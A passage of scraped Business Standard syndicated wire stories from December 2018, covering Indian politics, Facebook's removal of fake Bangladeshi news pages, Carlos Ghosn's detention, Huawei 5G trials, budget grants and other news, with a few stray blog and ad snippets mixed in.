said the regional autonomy would work as a balm to the wounds of the people as every area would get its due representation."Regional autonomy is not there and it is going to be our first priority. Regional autonomy document is prepared and needs some improvements," he said. Abdullah said Bhagat would strengthen communal harmony, brotherhood and the unity of the three regions of the state. Bhagat, a former MLA from the R S Pura constituency of Jammu district, was expelled by the BJP on December 10, the day the Supreme Court dismissed his petition challenging the dissolution of the state assembly by Governor Satya Pal Malik, for"anti-party activities and indiscipline". Two days later, Bhagat came out in open against the state party leadership, accusing it of being anti-Dalit, following which the BJP issued a defamation notice to him for levelling "unfounded and abusive" allegations against state party president and state general secretary. "I am a Dalit and faced victimization from the party which is 100 per cent anti-Dalit... I was always given the position where my caste fits," Bhagat had told reporters. "People have given their mandate but got presidents rule, he said, referring to BJP pulling out of the coalition government which led to the fall of the PDP-led government in the state in June and subsequent imposition of governor's rule. Abdullah said, "Many more leaders are in touch with the National Conference and they will join the party in coming days." Asked about the remarks of the state Governor that a section of the country's upper class who do not do charity are like "rotten potatoes", he quipped, "I don't know which is rotten potato and good potato." At a function here, Malik had said "the big segment of society in this country, those who are wealthy in Kashmir, politicians and bureaucrats are all wealthy do not have any sensitivity towards society. They do not do charity of even a single rupee. But there are a few like this in the upper classes. Please do not take it badly, I consider them 'rotten potatoes', not human beings."On the issue of regional autonomy, Abdullah said the roadmap in this regard was drawn between 1996 and 2002 during his rule and its larger objective would be politico-economic empowerment of all the regions of the state. "Jammu and Kashmir is a unique state that needs special dispensation in terms of autonomy to different regions to satiate urges and aspiration of the people, the NC chief said. He said a major ground work has been done in this regard with avowed objective of empowering the people at grassroots level and enabling them to take decisions as per their regional priorities. "Such a mechanism under overall superintendence of the state government will further strengthen the regional unity, which is imperative for singular entity of Jammu and Kashmir," he said. Appreciating joining of Bhagat into the party, Abdullah exuded confidence that the people, especially those in political arena, would work towards maintaining the singular entity of Jammu and Kashmir which is under severe threat from "polarizing agents". "Peace and amity has to be strengthened at every level and this can be ensured only by strong National Conference, which is a mass movement." he said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Facebook is shutting down a series of fake sites spreading false information about the Bangladesh opposition days before national elections, an official from the social media platform said Thursday. The sites nine Facebook pages designed to mimic legitimate outlets, as well as six fake personal accounts spreading anti-opposition propaganda were created by Bangladeshis associated with the government, Nathaniel Gleicher, Facebook's head of cybersecurity policy, told the AP in an exclusive interview. The sites would be shut down "for engaging in coordinated inauthentic behavior" by Thursday evening at the latest, he said by telephone from California. A threat intelligence company that Facebook worked with determined that the people who created and managed the sites are "associated with the government," he said, declining to provide further details. The sites were all designed to look like authentic Facebook news pages, including one operated by the BBC's Bangla-language service and another by the popular Bangladeshi online newspaper bdnews24.com. The sites would report false information about such things as turmoil in the camp of imprisoned opposition leader Khaleda Zia. "These are fake but look like independent news outlets," said Gleicher, noting all were "pro-government and anti-opposition." Facebook began its investigation of the pages in November, and the Thursday shutdowns were "prompted by both external and internal evidence, including a tip from Graphika, a threat intelligence company that we work with," he said. While the nine pages did not immediately seem to have particularly large reach by Facebook standards Gleicher said one had 11,900 followers it comes at a key time for Bangladesh, with Prime Minister Sheikh Hasina attempting to return to office for a third consecutive time in Dec. 30 elections. "Frankly, this is a small network involving Bangladesh but this is very important for us" Gleicher said, adding that Facebook "does not want people or organizations creating networks of accounts to mislead others about who they are, or what they are doing." Facebook has come under intense criticism for its role in spreading false and divisive messages, from phony political accounts weighing in on the 2016 U.S. presidential election to racist statements in Myanmar. Gleicher said Thursday's move was part of Facebook's efforts to remove fraudulent pages and accounts. The company disabled 754 million fake accounts globally in the third quarter of this year, up from 583 million in the first quarter in 2018. One false post reported that Zia, the country's most prominent opposition figure, had fired the general secretary of her Bangladesh Nationalist Party. The report, on the sham version of bdnews24.com, said Zia had ordered the firing in a videotaped message sent from prison. Another story, on the fake BBC site, falsely described deep divisions within Zia's party. It was illustrated with a photo of a burned car, implying those divisions had led to riots during an opposition rally. Toufique Imrose Khalidi, the top editor at bdnews24.com, told the AP that he was aware of multiple fake sites for his outlet and had contacted regulatory and law enforcement agencies to get them closed. But "nothing happened," he said. "There are other clone sites for bdnews24.com. Our readers get confused and we lose revenue because they think these are real," he said. Zakir Hossain Khan, a spokesman for the Bangladesh Telecommunication Regulatory Commission or BTRC, told the AP by phone that it was regularly in touch with Facebook for anything that could "destabilize the public order," but it had received no recent complaints. Fake news is not limited to pro-government sites. In November, security officials arrested a Bangladeshi student studying in South Korea for his alleged involvement in creating 22 fake news portals spreading anti-government propaganda, police said. Police said the student is a member of Islami Chhatra Shibir, the student wing of Jamaat-e-Islami party, a key ally of Zia's party. Bangladesh's chaotic has been dominated for years by the fierce rivalry between Hasina and Zia. Police say at least five people have died and dozens more have been injured in political clashes since Dec. 10. Opposition leaders, along with international rights groups, have accused the government and security agencies of abusing their power to arrest opposition activists and intimidate others into silence. The government denies that. Zia, a former prime minister, is serving seven years in jail on corruption charges in one case and 10 years in a second case. Her supporters say both were politically motivated. An appeals court recently ruled she could not run for office because of the convictions. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Dubai-based budget carrier Flydubai Thursday announced the launch of its direct flight services to Kozhikode, starting February next year. The gulf airlines currently operates 30 flight per week in and out of India to eight cities, including Thiruvananthapuram from its hub in Dubai. However, it's discontinuing operations from Thiruvananthapuram and replacing it with Kozhikode due to the existing air service agreement, which restricts the number of points of call. "We are pleased to add Kozhikode to our network of eight destinations in India, offering greater connectivity to our passengers. The new route will provide more passengers from India with access to Dubai and beyond via its aviation hub together with the new codeshare agreement," said Sudhir Sreedharan, senior vice president, commercial (UAE, GCC, Subcontinent and Africa), Flydubai. The Middle East's largest airline Emirates will codeshare on the Dubai-Kozhikode route as part of the its partnership with the Dubai-based full service carrier, the release said. Both Emirates and Flydubai are government-owned carriers. Flydubai's partnership with Emirates includes joint network planning, coordinated schedules and the frequent flyer programmes besides interline and codeshare arrangements. Flydubai will be the only Dubai-based carrier to operate on the Dubai-Kozhikode-Dubai route, it added. India and Dubai have seen a stronger flow of trade and tourism over the past few years with India becoming the first source market to top two million annual visitors in 2017, said Ghaith Al Ghaith, chief executive officer, Flydubai. This represents a 15 per cent year-on-year increase in total number of visitors to Dubai, he added. Flydubai started operating to India in 2010 and currently flies to Ahmedabad, Chennai, Cochin, Delhi, Hyderabad, Lucknow, Mumbai and Thiruvanathapuram. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Kevin is Just another X Ray Technician trying to get into blogging and help individuals interested in an amazing career for xray tech. Register for options trading expo to get the best stock market education.Learn about bettertrades mission,methods and pledge here. Please note. I welcome any and all comments from any political perspective. I will not stand or approve any swearing, and personal attacks will likely also not be approved. Union Minister of Road Transport and Highways Nitin Gadkari Thursday laid foundation for National Highway projects worth Rs 9,533 crore in land-locked Arunachal Pradesh. Accompanied by Union Minister of State for Home Kiren Rijiju and Arunachal Pradesh Chief Minister Pema Khandu, Gadkari laid the foundation of the NH projects here in Lower Subansiri district. "These projects will improve the connectivity between Assam and Arunachal Pradesh and between district headquarters in the state by reducing travel time and distance," Gadkari said, while addressing a function here on the occasion. He said, "These projects of strategic importance will create new employment opportunities for the people in the region and ensure socio-economic development." He informed that the project had been divided in small packages so that the state contractors could participate. Stating that his ministry had already executed road projects in the country worth 10 lakh crore, Gadkari said in northeast alone the road transport ministry had sanctioned road projects worth Rs 2.5 lakh crore. Gadkari laid the foundation for 472 km of national highway costing Rs 5,583.92 crore which included the 26.12 km Akajan-Likabali-Bame Road at a cost of Rs 374.73 crore and six packages on Joram-Koloriang Road on NH-713 for a total length of 94.39 km costing Rs 1253.19 crore. The minister also re-launched a project for two laning of 351.38 km Potin to Panging section of NH 229 at a cost of Rs 3,956 crore under the Trans Arunachal Highway (TAH) project. Gadkari said, "During a recent meeting with Chief Minister Pema Khandu at New Delhi, I promised to provide road projects to the state worth Rs 50,000 crore and accordingly asked him to go ahead with utmost honesty and transparency." "The central government is with Arunachal Pradesh and there will be no dearth of developmental fund," he said. Taking a dig at the Congress, the Union minister said the northeast region remained stagnant in terms of development in the past several decades due to lack of appropriate vision in the past. "Innovation, technology, skill and research if merged together will create knowledge which will in turn create wealth," he said, and asked the state government to work in this direction for a developed Arunachal Pradesh. While assuring to complete the projects in a time-bound manner, Gadkari said the state government should utilise the fund meant for the projects judiciously and in a transparent manner. He also suggested the government to venture into bio- fuel industry as the state has abundant bamboo plantations and varied species. Earlier, at Roing in Lower Dibang Valley district, Gadkari inaugurated bridges across Dibang and Lohit River System, including approach road between Chowkham-Digaru. He also inaugurated the recently two-laned 25.14-km Mahadevpur to Buri Dihing section of NH-52 B, constructed at a cost of Rs 136.60 crore and 22.23 km Bordumsa-Namchik section of NH-52, B constructed at a cost of Rs 189.91 crore. In addition, Gadkari also laid the foundation for about 96.47 km of national highways projects at Roing, including two-laning of the 74.86 km Roing-Hunli section of Hunti- Anini Road (NH 313), two laning of the 11.31 km Hayuliang-Hawai Road section of NH-113 and the 10.3 km Hunti- Anini section of NH-313. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The UN General Assembly has officially endorsed the first-ever cooperation framework on migration for effectively addressing issues that concern the world's 258 million people on the move and countries of origin, transit and destination. Global Compact for Safe, Orderly and Regular Migration was adopted by the General Assembly with 152 votes in favour, 12 abstentions, and five votes against, namely by the Czech Republic, Hungary, Israel, Poland, and the United States of America. An additional 24 Member States were not present to take part in the vote. India was among the 152 countries that voted in favour of the resolution endorsing the Global Compact, which was adopted by world leaders in Marrakesh, Morocco, on December 10. The document is the first-ever negotiated global framework on a common approach to migration in all its dimensions. UN Secretary-General Antonio Guterres said after the vote that the document "reaffirms the foundational principles of our global community, including national sovereignty and universal human rights, while pointing the way toward humane and sensible action to benefit countries of origin, transit and destination as well as themselves. Guterres stressed that the Compact calls for greater solidarity with in situations of appalling vulnerability and abuse, that it underscores the need to anticipate future trends, and that it highlights the imperative of devising more legal pathways for migration. UN Special Representative for Migration Louise Arbour who led the conference deliberations over the Compact in the Moroccan city of Marrakech last week, said that he formal endorsement represents a resounding commitment to an international migration framework based on fact, not myth, and to an understanding that national migration policies are best implemented through cooperation not in isolation. Though non-legally binding, the Compact is the outcome of a long negotiation process and provides a strong platform for cooperation on migration, drawing on best practice and international law. Thanking all those who "helped to bring this landmark step to fruition," including civil society, migrants, diaspora communities, the private sector, trade unions, academic experts and municipal leaders, the UN chief said he hoped the countries that have chosen to remain outside the process will come to see the Compact's value and join this venture. In statements explaining their decisions, countries that voted for the document stated often stressed the fact that this document is only a first step and that its realization will be where the work really starts. The sentiment was echoed by the UN chief who said that leadership will be crucial in bringing the Compact to life, and in avoiding the myths and disparaging discourse that have become all too frequent. The UN Secretary-General noted that the United Nations, through the newly established UN Migration Network, stands ready to support Member States and all partners "to make migration work for all". Carlos Ghosn could soon be freed on bail after a Japanese court Thursday threw out a bid by prosecutors to extend his detention, in a move nearly as unexpected as the auto tycoon's sudden arrest. The 64-year-old Franco-Brazilian-Lebanese executive has languished in a Japanese detention centre since his arrest on November 19 for alleged financial misconduct sent shockwaves through the business world. But in another stunning development, the Tokyo District Court said prosecutors had filed a bid to extend his detention on December 20, but it was "rejected". In the Japanese system, it is extremely rare for the court to grant bail to someone who denies the allegations as Ghosn does, and the decision took observers by surprise. The move paved the way for a potential release as early as Friday, according to public broadcaster NHK. Ghosn's lawyers are expected to request bail while prosecutors will lodge an appeal against the court decision, according to local agency Jiji Press. A spokesman for the Tokyo district public prosecutors office told AFP the office would "deal with it appropriately". Prosecutors had formally charged him on December 10 with financial misconduct for allegedly under-declaring his income by some five billion yen ($44 million) between 2010 and 2015. At the same time, they re-arrested him on suspicion of also under-reporting his income by a further four billion yen over the past three years. He has not formally been charged over this allegation. Ghosn's detention threw the spotlight on the Japanese legal system where suspects can be held for long periods. He is being held in a one-man cell in northern Tokyo measuring just three tatami mats -- around five square metres (54 square feet) -- a far cry from the lavish lifestyle that had previously attracted criticism. Ghosn has told embassy visitors he is being well treated but has complained of the winter cold and the rice-based food. Nevertheless, sources at French car giant Renault have described his frame of mind as "combative" as he fights the charges against him. In addition to charges against Ghosn and his right-hand man Greg Kelly, prosecutors had also indicted Nissan itself, as the company submitted the official documents that under-reported the income. Ghosn's arrest on November 19 unleashed a firestorm through the three-way car alliance of Nissan, Renault and Mitsubishi Motors -- which together sold more vehicles than any other group last year. Nissan and Mitsubishi Motors promptly sacked the tycoon as chairman but Renault kept him on and appointed an interim boss as it waited to assess the legal procedures against him. On Monday, Nissan failed to agree a replacement as chairman amid growing tensions with the French firm. Renault owns 43 percent of Nissan but the Japanese firm now makes more money, leading to rifts within the tie-up that Ghosn forged and was credited with holding together. A newly formed committee looking into governance at Nissan is to report its findings by March, but the decision on a new chairman could potentially stretch beyond that, said current CEO Hiroto Saikawa. In addition to the formal charge of financial misconduct, Ghosn has been accused of a variety of other unproven allegations, including using Nissan funds to purchase a string of luxury homes around the world. One of these homes -- a luxurious, 800-square-meter (8,600 square-foot) spread with ocean views over Rio de Janeiro's famous Copacabana Beach -- has become the subject of a legal battle on the other side of the world, where Ghosn now resides. Last week, Ghosn family members entered the flat, removed "personal effects" and opened the safes, according to Nissan. This followed a court order giving Ghosn's representatives access despite objections from the Japanese firm. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A British woman tourist was allegedly raped Thursday at Canacona in Goa, with a man who was on the run after a jail-break being the prime suspect. Police nabbed Ramchandran Y (31), native of Thanjavur in Tamil Nadu, at Margao, only to find that he was allegedly involved in the rape which had taken place a few hours earlier. Ramchandran was on the run for almost a month after his arrest in a Rs 30 lakh robbery case at Pernem in North Goa district. Police got an inkling that he could be involved in the rape when they found the complainant woman's ATM card in his possession, said an officer. The woman, a 48-year-old British national, was raped at Canacona while on the way to Palolem beach in South Goa district in the wee hours of Thursday. Inspector Rajendra Prabhudesai of Canacona police said that Ramchandran was arrested in Margao town by the Pernem police who were looking for him since he escaped from jail. "When he was arrested, Pernem police had not the slightest idea that he could be involved in the rape at Canacona," Prabhudesai said. He was linked to the rape after the woman's ATM card was found in his possession, the police officer said. According to the woman, around 4 am, when she was walking towards the Palolem beach, an unknown man dragged her to a paddy field and raped her and fled with her three bags. The woman, who has been visiting Goa for the last ten years, said she wanted to catch a train at Thivim railway station, but as the train got delayed, she decided to return to the place near the Palolem beach where she was staying. Canacona in South Goa is a tourism hub, featuring popular beaches such as Agonda and Palolem. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) : Their ancestors traditionally used walls as space for drawings and paintings in the interior villages of central India. Today, Gond artists Durgabai and Subhash Vyam from Madhya Pradesh have taken the graphic narrative to a new level, courtesy Kochi-Muziris Biennale (KMB). Not limiting themselves to the conventional frescoes called Gondi Bhitti Chitrakala, the couple has gone for a wall-based installation featuring images on marine plywood. Each such work is cut out in various shapes and outlines the flora and fauna that are celebrated in their tribal folklore. The Bhopal-based pair, simply put, has gone by the extra thrust to the 'experimental' spirit of the fourth edition of the KMB that has been on since December 12. Thus, at the 108-day festival's main venue in Fort Kochi, the Vyams' infrastructure project has added to the interactive spirit envisioned by the biennale curator Anita Dube. ''Madam wanted us to try explore new things," recalls Durgabai, seated by her project at the sea-facing Aspinwall House. "That's when we suggested to her we'd paint on marine plywood. She loved the idea. "The Vyams' work is a narration of the traditional Gond folklore. It is 'Dus Motin Kanya and Jal Devata', a story of five brothers and their sister living in a cosmology where humans live in harmony with nature. The lovely tale finds mention along the walls and pillars of the exhibition area situated right at the entrance of the sprawling Aspinwall. Subhash points out that the technique employed in the art is as ancient as story that is passed down generations of the Gond community. "Dus Motin Kanya narrates various incidents in the life of a girl by the same name. From her birth till her marriage," he adds. Adds Durgabai: It focuses on how the parents treat their only daughter as a princess. And what happens to her when they pass away. The girl, who has five brothers, is considered as a precious jewel by her family. So much so, she is not allowed to go outside the home. As the parents age, they ask the five sons to look after their sister. They again remind them not to send her outside. As time passes, brothers get married and go to the city for work and ask their wives to take care of the sister. The wives agree, but they get tired of it overtime and start mistreating the girl. They even plot to kill her and push her into the well before a bird saves her. "Though the story is based on mythology, the subjects of our painting include elements from nature composed within the canvas," notes Durgabai, who predominantly works in mahura-style that is inspired by the intricacies of the communitys jewellery art. "We try to showcase how the world has been constantly evolving,'' says Durgabai, who has co-authored The Night Life of Trees that won the Bologna Ragazzi Award in 2008. Durgabai has done illustrations for books such as Turning the Pot and Tilling the Land'. She has, together with her husband Subhash, illustrated Bhimayana, a book on 20th century reformer-politician-jurist Bhimrao Ambedkar. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The government will be mindful of concerns around national security threat from Chinese telecom gear firms like Huawei and ZTE at the time of commercial rollout of 5G network but has no issues as far as their participation in the trial of the next generation technology is concerned, an official said. "Government is keeping a watch on global situation around security concerns. There are no issues around participation of Chinese telecom firms in 5G trials. The concerns will be examined at the time of commercial rollout by an inter-ministerial panel," a Department of Telecom (DoT) official told PTI. Huawei has proposed to conduct 5G trials in India in partnership with Vodafone Idea Limited. Top officials of Vodafone and Huawei India met telecom secretary Aruna Sundararajan to discuss their 5G pilot project in the country. Recently, a government body Telecom export Promotion Council approached National Security Advisor Ajit Doval to ban purchase of equipment from Chinese companies like Huawei, ZTE and Fiberhome for government networks, claiming that they can pose a serious national security threat. TEPC chairman and former telecom secretary Shyamal Ghosh shot off the letter following recent move by developed countries like the US, Japan, Canada, the UK, Germany, Australia and New Zealand to block purchase of equipment from companies such as Huawei, ZTE and Fiberhome, particularly for 5G networks. He alleged that alleged that there has been a sustained effort by Chinese equipment vendors to win all government and security-sensitive projects such as in power, railways, oil and gas, defense etc at any cost, by offering predatory pricing, so as to gain control of strategic assets in the country. Telecom industry body COAI, however, said that the TEPC's demand to impose restrictions on Huawei and other Chinese firms is without any merit. Huawei too had rejected the allegations saying that it has not received any official communication and the statement issued against it is not backed by any proof. Besides Huawei, the senior management of Swedish telecom gear firm Ericsson and Nokia also met Sundararajan to discuss about 5G trials on Wednesday. Nokia has partnered state-run telecom firm BSNL to conduct 5G trials. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The government Thursday sought approval from Parliament for equity infusion worth Rs 2,345 crore into struggling Air India and another Rs 1,300 crore for Air India Asset Holding. As part of efforts to revive the financial fortunes of the national carrier, the government has decided to transfer debt worth Rs 29,000 crore to Air India Asset Holding Company, a special purpose vehicle. The airline has debt worth around Rs 55,000 crore. In the second batch of Supplementary Demands for Grants 2018-19 tabled by Finance Minister Arun Jaitley in the Lok Sabha, approval has been sought for Rs 2,345 crore equity infusion into the airline under a turnaround plan. Besides, Parliament's nod has been sought for providing grants-in-aid of Rs 1,300 crore to Air India Asset Holding. Earlier this year, the government's strategic stake sale offer for Air India failed to attract any bidders and since then, various other options are being explored to improve the financial position of the national carrier. Air India is staying afloat on a bailout package extended by the previous UPA regime. As part of the turnaround plan, Air India is to receive up to Rs 30,231 crore from the government subject to meeting certain performance thresholds. The 10-year bailout package began from 2012. Meanwhile, the government has sought Parliament's approval for additional gross expenditure of Rs 85,948.86 crore for the current fiscal ending March 2019. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The government on Thursday sought Parliament's approval for additional gross of Rs 859.48 billion, about half of which is for capital infusion in public sector banks through recapitalisation bonds, during the current fiscal ending March 2019. Of the total, only Rs 150.65 billion would be net cash outgo, said the second batch of Supplementary Demands for Grants 2018-19 tabled by in the Lok Sabha. Through these grants, the government proposes to infuse Rs 23.45 billion in a turnaround plan for national carrier Air India. "Approval of Parliament is sought to authorise gross additional of Rs 859.48 billion. Of this, the proposal involving net cash outgo aggregates to Rs 150.65 billion, and gross additional expenditure, matched by savings of ministries/departments or by enhanced receipts/recoveries aggregates to Rs 708.82 billion," it said. The government has proposed additional capital infusion of Rs 410 billion in state-owned banks through issue of government securities (recapitalisation bonds), said the document. In October 2017, the government decided to infuse Rs 2.11 trillion in PSBs over the next 2 years -- through budgetary provisions of Rs 181.39 billion, recapitalisation bonds of Rs 1.35 trillion, and the balance through raising of capital by banks from the market while diluting government equity estimated at Rs 580 billion. The government envisaged that PSBs would raise Rs 580 billion from the stock markets by March 2019 to meet Basel III norms. However, due to subdued market conditions, banks have been unable to raise enough funds from the markets so far. In addition, non-performing assets of many banks have seen a spurt in the first two quarters of this fiscal, putting stress on their bottom lines. As per the document tabled in the Lok Sabha, Parliament's approval has been sought for of Rs 2.5 billion for providing additional equity investment in form of bonus shares issued by Oil India Ltd. Besides, an additional spending of Rs 53.43 billion for various projects and schemes of Ministry of Railways has been planned. The government plans to spend Rs 2.47 billion towards interest subvention for incremental credit to the micro, small and medium enterprises and Rs 5 billion for grant for creating capital assets to National Ganga River Basin Authority, said the document. The US should select the "very best" among the applicants under the H-1B visas, the Trump administration told lawmakers Thursday, asserting that it was determined to ensure that the temporary work permits, most sought by Indian IT companies, do not harm domestic workers. The H1B visa, popular among Indian IT companies and professionals, is a non-immigrant visa that allows US companies to employ foreign workers in speciality occupations that require theoretical or technical expertise. The technology companies depend on it to hire tens of thousands of employees each year from countries like India and China. Perhaps no other visa category has received as much attention in recent years as the H-1B, as reports of abuse of the program have caused outrage among the public, Homeland Secretary Kirstjen Nielsen told members of the powerful Senate Judiciary Committee during a Congressional hearing. "No qualified hardworking American should be forced to train their H-1B replacement, and then let go," she said. "The number of H-1B petitions routinely exceeds the statutory cap, and among that pool of petitions, we should endeavour to select the very best for the privilege of coming to the United States for work," Nielsen said. The Department of Homeland Security seeks to ensure that American workers are not pushed aside for the promise of cheaper, foreign labour, and the employers, recruiters or any of their agents do not exploit foreign workers, she said. The Trump administration has stepped up its measures to detect employment-based visa fraud and abuse, but certain nonimmigrant visa programs need reform in order to protect American workers better, she said. "While current law only requires it for certain employers, which are few in number and can easily meet the wage and degree exemption, all employers should be required to certify that they have made a good faith effort to recruit US workers before filing an H-1B petition, and have offered jobs to qualified and available American applicants," Nielsen said. Although current law prohibits some H-1B employers from displacing US workers, there are loopholes that must close, she told the members of the Senate Judiciary Committee. "We have to make sure the H-1B programme does not harm American workers who may be as qualified and willing to do jobs that foreign workers are imported to fill," she said. As per US President Donald Trump's 'Buy American, Hire American Executive Order, the Department of Homeland Security is reviewing current guidance and regulation for opportunities to protect American workers while also providing good faith employers the opportunity to recruit H-1B workers where needed. "This balance is consistent with the statute and President Trump's priorities. We also seek to work with Congress to make legislative changes that would provide more protections to the United States workforce," Nielsen said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Software engineer Hamid Nihal Ansari, who had to spend six years in a Pakistani jail on espionage charges, returned to his hometown Mumbai on Thursday, refusing to "scratch old wounds" and vowing to move on with live. Upon his arrival at the Mumbai airport to a cheering welcome by friends and relatives, Ansari said he would try to get a job and then find a suitable match for himself. "I don't want to recollect what happened with me in the past. I want to look at the future," he said. "I have to find a job and after that I also have to find a woman to get married." Ansari was arrested in Pakistan in 2012 for allegedly entering that country from Afghanistan reportedly to meet a woman he had befriended online. Pakistan slapped espionage charges against him. He was repatriated to India on Tuesday. Two days after he was handed over to India at the Wagah-Attari border, Ansari, 33, and his parents left New Delhi in the morning in an Air India flight and arrived at the airport here around 9.30 am, his father Nihal Ansari said. Relatives, friends and well-wishers greeted and cheered for him as he came out of the airport. The family then left for their residence in suburban Versova. Before leaving for home, Ansari told mediapersons at the airport he did make "mistakes" in the past. "I had my own mistakes but now I want to move towards the future. I don't want to go into those things now, I had my own sins and mistakes." Ansari said while waiting to cross the border at Amritsar after his release from the Pakistan jail on Tuesday, he caught a glimpse of his parents, who were waiting for him on the Indian side, first time in six years. "I was not able to meet them (immediately) as I was on the Pakistan side. At that time, I realised how much they must have suffered for me. I wanted to meet them immediately, but could not," Ansari said. Asked about an eye injury he apparently suffered during interrogation at the Pakistani prison, Ansari said the interrogation process cannot be avoided. "During the interrogation, the retina of my eye got ruptured. But, they admitted me to a government hospital and it was treated...they compensated for it ( treatment)," he said. On an alleged attack on him inside the Peshawar prison, he said it was due to a "misunderstanding" which escalated. Asked about his future plans, the software engineer said first there will be a celebration with the family. "(then) I have to find a job and after that I also have to find a woman to get married...pehle naukri phir chokri." The Mumbai resident, who returned to India on Tuesday after crossing the Wagah-Attari border, was imprisoned in the Peshawar Central Jail after being sentenced by a military court on December 15, 2015. According to official sources, India issued 96 notes verbales to Pakistan seeking consular access to Ansari. The decision to release him was taken due to relentless pressure from New Delhi, they said. Shortly before his arrival on Tuesday, his mother Fauzia Ansari had told reporters that the prayers of the family and of all those who wished for his safe return were answered. His father had said it was a new dawn for them. Ansari and his family have thanked External Affairs Minister Sushma Swaraj and her ministry for persisting with the case and taking it up with Islamabad. His jail term ended on December 15 but he was not able to leave for India as his legal documents were not ready. On Thursday, the Peshawar High Court gave the Pakistan government a month's time to complete his repatriation process. Ansari had an emotional interaction with Swaraj on Wednesday as he narrated the difficult phase he had to endure through in Pakistan. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Hamid Nihal Ansari, the software engineer who returned home after spending six years in a Pakistani jail, told External Affairs Minister Sushma Swaraj that he landed up in the neighbouring country in pursuit of the girl he was in love with. Asked about the meeting at a media briefing Thursday, Ministry of External Affairs Spokesperson Raveesh Kumar said Swaraj enquired about his wellbeing during their interaction. "EAM did ask how he landed up in Pakistan. He did explain that through a twist of circumstances...what he said was that he was in love with a girl and in pursuit of that girl he followed her and landed up in Pakistan," Kumar said. "He was arrested on the suspicion of being a spy. The girl for whom he had gone to Pakistan actually testified in his favour that he had come to meet her, but he was put in jail. He had to spend more than the time for which he was sentenced," Kumar said. Ansari was arrested in Pakistan in 2012 for illegally entering the country from Afghanistan, reportedly to meet a girl he had befriended online. Authorities in Pakistan had slapped charges of espionage against him. Sources said though the girl testified in a court in Ansari's favour, he could not meet her. They said Ansari had applied for visa in Pakistan High Commission but it was not granted to him. The Mumbai resident, who returned to India Tuesday after crossing the Wagah-Attari border, was imprisoned in the Peshawar Central Jail after being sentenced by a military court on December 15, 2015. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Seasoned diplomat Harsh Vardhan Shringla was Thursday appointed as the next Ambassador of India to the US, considered a high-profile posting where he will face the task of engaging with the Trump administration on a number of key issues including the H1B visa. Shringla, a 1984-batch Indian Foreign Service official, will succeed Navtej Sarna. "He is expected to take up the assignment shortly," the Ministry of External Affairs said. At present, Shringla is serving as Indian High Commissioner to Bangladesh. Senior diplomat Riva Ganguly Das, presently Director General of Indian Council for Cultural Relations, has been appointed as new High Commissioner to Bangladesh. Besides the H1B visa issue, Shringla will also have to engage with Washington on resolving issues relating to India's purchase of S 400 air defence missile systems from Russia. India risked the threat of US sanctions when it finalised the USD 5 billion deal with Russia in October. Shringla will also have to engage with the Trump administration on several other issues including India's import of crude oil from Iran. The US has given India temporary waiver from the sanctions regime against import of Iranian oil. The waiver will come to an end on April 4. In the course of a diplomatic career spanning 34 years, Shringla has held a variety of positions in New Delhi and abroad. Before his appointment as High Commissioner in Bangladesh nearly three years back, he served as India's Ambassador to Thailand. He has also served in Vietnam, Israel and South Africa. He has also served in the Ministry of External Affairs here as Joint Secretary responsible for Bangladesh, Sri Lanka, Myanmar and Maldives. He has also headed the United Nations Political and SAARC Divisions in the Ministry. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Calcutta High Court Thursday allowed BJP's 'Rath Yatra' programme in West Bengal, setting aside the state government's decision to refuse permission for the rallies over apprehensions of communal unrest. Justice Tapabrata Chakraborty in his order noted that courts can interfere if administrative authorities exercise their discretionary powers in a whimsical manner. Following the court order, the BJP came up with tentative new dates from December 28 to 31 for its proposed three-phase programme. BJP national general secretary Kailash Vijayvargiya said that though the dates have not been finalised, the Rath Yatra, which is now christened the 'Ganatantra Bachao Yatra' (Save Democracy Rally), will be held as per its earlier schedule and move across all the 42 Lok Sabha constituencies in the state. "We welcome the court's verdict... Today we had a meeting with the party functionaries. The tentative new dates (for the Rath Yatra) are December 28, 29 and 31. Nothing has been finalised as of now. We will inform the state government about it," Vijayvargiya said. According to Bharatiya Janata Party (BJP) sources party national president Amit Shah will flag off the three yatras in the state. Welcoming the order, the BJP hit out the ruling Trinamool Congress (TMC) for denying permission for its rallies and also questioned the "silence" of opposition on the issue. "Why are human rights activists and opposition parties silent on denial of a right to a political party to organise its programme in West Bengal. If any NDA/BJP Government had stopped an opposition programme, it would have been called an Undeclared Emergency. Why silence now?" BJP leader and Union Minister Arun Jaitley tweeted. West Bengal BJP chief Dilip Ghosh hailed the HC order and said that the programme will begin "very soon" and will be held according to "schedule". Ghosh said, "We thank the court for its verdict. It is a historic one. The Gantantra Bachao Yatra will start very soon and will be held as per schedule." "I can assure that there will be no breach of law and order from our part," he added. Reacting to BJP's programme, the ruling TMC said that it was being held to ignite communal passions in the state before the Lok Sabha election. "The sole intention of BJP is to create communal tensions in the state to divide the people on religious lines," TMC secretary general Partha Chatterjee said. The West Bengal government had on Saturday refused permission for BJP's 'Rath Yatra', citing intelligence reports of possible communal violence in areas where the party was planning to take out the rallies. Justice Chakraborty directed the state BJP to inform the superintendents of police of the districts in which the rallies shall enter at least 12 hours ahead of schedule. The court also told the state BJP to ensure that the 'yatras' are conducted abiding the law and do not impede normal movement of vehicular traffic. It further directed the police to deploy adequate force to ensure that there was no breach of law and order and said the petitioner BJP will be vicariously responsible for any damage or loss of public property. Justice Chakraborty said that as the yatras were not for any unlawful purpose, they ought not to be totally prohibited unless there was imminent threat of breach of peace and even then, the restraint should be just and reasonable. Observing that the petitioner was mechanically denied permission to organise the yatras, the court said that reliance has been placed on intelligence reports by the administration for such denial, but names of the districts have not been disclosed. The court also noted that the BJP had written several letters to different administrative and police officers from October 29 for consultations for the Rath Yatra, but none were responded to. Allowing the BJP rallies, Justice Chakraborty observed that the officials concerned did not have sufficient material to totally deny permission to the petitioner to organise the rallies, without even making an endeavour as to whether the yatras can be allowed by imposing 